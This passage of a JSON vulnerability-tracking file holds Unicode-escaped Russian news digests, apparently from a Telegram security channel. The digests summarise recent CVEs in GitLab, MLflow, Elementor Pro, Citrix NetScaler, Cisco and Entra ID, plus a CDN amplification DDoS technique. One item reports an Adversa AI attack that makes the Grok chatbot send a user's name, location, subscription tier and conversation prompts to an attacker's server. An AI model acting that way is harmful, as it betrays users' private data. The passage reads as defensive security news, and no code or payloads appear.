\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 Spectre.\n\n2. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2026-19478 \u0432 GitLab \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0441\u0435\u0442\u0438 PoC-\u043a\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b GitLab \u0438\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \n\n3. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SSRF (CVE-2026-64849, CVSS 9.3) \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 MLflow AI, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TrueConf, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\n4. \u0423\u0447\u0451\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 DDoS, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CDN. \u0412 \u043d\u0435\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CDN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 HTTP/3-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 \u0441\u0442\u0430\u0440\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b HTTP/1.\n\nCDN Tsunami attack \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/3-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 CDN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/1-\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0441\u0430\u0439\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 CDN \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Elementor Pro \u0434\u043b\u044f WordPress \u0441 10 \u043c\u043b\u043d. \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\nCVE-2026-32475 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Elementor Pro \u0434\u043e 4.2.2 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0446\u0438\u043a\u043b\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438.\n\n6. \u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Citrix NetScaler. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e Citrix, CVE-2026-19490 (CVSS 9.3) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 NetScaler, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u0448\u043b\u044e\u0437 (SSL VPN, ICA Proxy, CVPN, RDP Proxy) \u0438\u043b\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AAA.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Rapid7, \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0430\u044f \u0440\u043e\u043b\u044c NetScaler \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n7. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u044f\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 OpenAI Trusted Access for Cyber (TAC) \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438. \u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ChatGPT Cyber. OpenAI \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u043e\u0448\u0438\u0431\u043a\u0443, \u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n8. Cisco \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 Crosswork \u0438 Secure Workload.\n\n\u0422\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445, CVE-2026-20030, CVE-2026-20357 \u0438 CVE-2026-20358, \u0438\u043c\u0435\u044e\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 (CVSS 10/10), \u0430 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f, CVE-2026-20359 - CVSS 9,9/10. Cisco \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n9. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Microsoft Entra ID (CVSS 10.0) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. CVE-2026-69836\u00a0(CVSS: 10.0) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 RCE, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0438\u0433\u0430\u043d\u0442\u0430. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n10. Adversa AI \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0435\u0435 \u0441\u043b\u043e\u0432\u0430\u043c, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c\u00a0\u0447\u0430\u0442-\u0431\u043e\u0442 Grok \u043e\u0442 xAI\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440.", "creation_timestamp": "2026-08-22T01:00:02.889187Z"}, {"uuid": "55d474ce-229a-4d5d-8130-737516635861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://t.me/true_secator/8535", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 Cloudflare \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Spectre \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445. \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u0435\u0440\u044b, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u043e\u0432\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0430\u0442\u0430\u043a Spectre.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Dynamic Process Isolation, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0435\u043c\u043a\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 Spectre.\n\n2. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2026-19478 \u0432 GitLab \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0441\u0435\u0442\u0438 PoC-\u043a\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b GitLab \u0438\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \n\n3. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SSRF (CVE-2026-64849, CVSS 9.3) \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 MLflow AI, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TrueConf, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\n4. \u0423\u0447\u0451\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 DDoS, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CDN. \u0412 \u043d\u0435\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CDN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 HTTP/3-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 